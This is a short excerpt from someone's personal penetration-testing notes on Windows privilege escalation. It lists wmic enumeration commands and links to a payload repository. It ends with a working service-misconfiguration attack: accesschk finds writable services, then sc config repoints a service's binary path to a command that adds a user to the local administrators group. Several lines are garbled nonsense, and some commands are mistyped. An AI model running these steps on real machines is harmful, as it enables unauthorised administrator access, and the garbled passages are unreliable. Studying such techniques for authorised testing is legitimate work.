

Thank you for downloading! This document is intended to be used as a learning and reference tool. In it you will find all of my compiled notes from various courses I have taken, and helpful information I've collected. I Intend to update my GitHub regularly as I gather more information, resources, and continue my efforts. Enjoy and use responsibly.

-Chocka

https://github.com/xChockax

```
<u>s/16.html</u>
b:AllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md
                      <u>extract patching/hotfixes:</u> wmic qfe get Caption,Description,HotFixID,InstalledOn
<u>List Drives:</u> wmic logicaldisk get caption,description,providername
                    Next we use winexe posterior with the command a few times to get it to work.

You may need to run the command a few times to get it to work.

FER TANK follows you to may make we all pool line without smill.
http://github.com/swisskyrepo/Payloads/AllTheThings/blob/master/Methodology and Resources/Window, EoP - Windows Subsystem for Linux (WSL)
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```
accesschk64.exe -uwcv Everyone *

Now check the found binary with > accesschk64.exe -wuvc <foundbinary>
If we can change the config we can get malicious

To query the path of the binary use > sc oc <foundbinary>
To get malicious > sc config <foundbinary> binpath= "net localgroup administrators user /add"

Then start the binary > sc start <foundbinary>
```